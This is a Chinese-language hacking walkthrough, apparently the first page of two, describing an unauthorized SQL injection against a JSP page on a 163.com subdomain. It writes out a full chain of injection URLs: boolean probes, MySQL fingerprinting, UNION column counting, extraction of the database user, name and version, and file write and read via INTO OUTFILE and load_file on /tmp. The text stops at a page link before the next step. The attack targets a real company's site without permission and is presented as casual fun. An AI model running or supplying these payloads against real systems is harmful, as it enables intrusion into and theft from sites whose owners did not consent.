163.com是国内一家比较出名的门户网站,提供包括邮箱等等在内的各种服务,这样繁多的服务,不知道会不会在哪些地方存在漏洞哦!正好最近学习了一些注入知识就想对这些门户网站做点小小的安全检测,不知道他们的脚本像不像他们名声一样那么厉害哦!
废话就不说了,我们就去找那些传递参数的页面看看会不会不小心有那么一个参数没有过滤,那么我们就有空子可以钻了哦!网易的脚本基本上是采取的jsp和Php的形式,主站看样子是静态的,就不说了,其他的站那么多的jsp和php应该有问题吧!Php注入也被人研究烂了,注入的时候被Php的那个特性拦着也相当的不舒服,所以干脆就去找jsp的脚本,希望能找到一些没有过滤的参数。找了能打两把CS的工夫还真让我找到一个页面http://XXX.163.com/wap/content.jsp?id=120,哈哈,看来是个数字类型的变量哦!就喜欢没有过滤的数字类型变量,因为如果能注入的话基本上没有什么阻碍!我们来看看能不能注入吧!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=1
返回正常哦, 接着提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2
返回一堆的jsp错误,还搞到了web的路径,幸福!通过路径我们还知道这个系统是Linux类系统哦。
根据上面的两个推测很有可能这就是一个注入点啦!因为我们提交的and 1=1和and 1=2被当作Sql代码执行啦!如果参数没有做其他过滤的话,我们就可以在这里提交我们的注入代码啦!那么继续看看吧!因为jsp可以和很多数据库搭配,所以这里我们还是先来看看是什么数据库吧!提交:
http://XXX.163.com/wap/content.jsp?id=120/*剑心
返回结果看来是支持/*注释了,支持/*注释的在这里就应该是mysql数据库了!既然知道了是mysql数据库,那么就来看看系统的版本吧,如果在4.0以上对猜表和注入是很有帮助的哦!提交:
http://XXX.163.com/wap/content.jsp?id=120 and ord(mid(version(),1,1))>51/*
返回正常的结果,看来是大于4.0版本的啦,也就是支持union查询的啦!因为这里语句的作用是取出版本的第一个字符,是大于3的,其中51是3的ASCII字符!既然支持union查询我们就开看看字段的个数吧!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1/*
返回错误 继续提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2/*
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3/*
……
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10/*
的时候返回正常结果 看来是10个字段并且哪些字段会在页面显示也出来了!嘿嘿,现在能union查询了,就总的看下数据库的信息吧!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,version()/*
返回结果 我们知道了数据库名字以及用户连接的名字以及数据库具体版本了哦!那么下一步该怎么做呢?看看用户那么特殊,这个用户很可能是管理员之类的角色哦!还是先看看权限够不够大,关键是能不能读写文件!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,10 into outfile '/tmp/jnc.txt'/*
嘿嘿,注意这里跟Php的注入不同,jsp不会对提交的任何字符做转义处理哦!所以我们放心的提交就行了,从上面的例子中我们大约知道系统是Linux类的,所以写文件到/tmp/jnc.txt中,这个目录一般都是可写的。然后再提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file('/tmp/jnc.txt')/*
分别返回 看来是写文件和读文件都成功了!有File权限哦,在jsp环境下不受php下那种特性的影响可以在权限允许的范围之内随便写文件!既然权限有了,来判断下web和Mysql服务器是不是一个主机吧,是的话又可以免去猜测密码的痛苦了!web路径出来了那么我们就读web服务器上存在的文件,如果存在的话就应该是一个主机啦!提交:
[1] [2] 下一页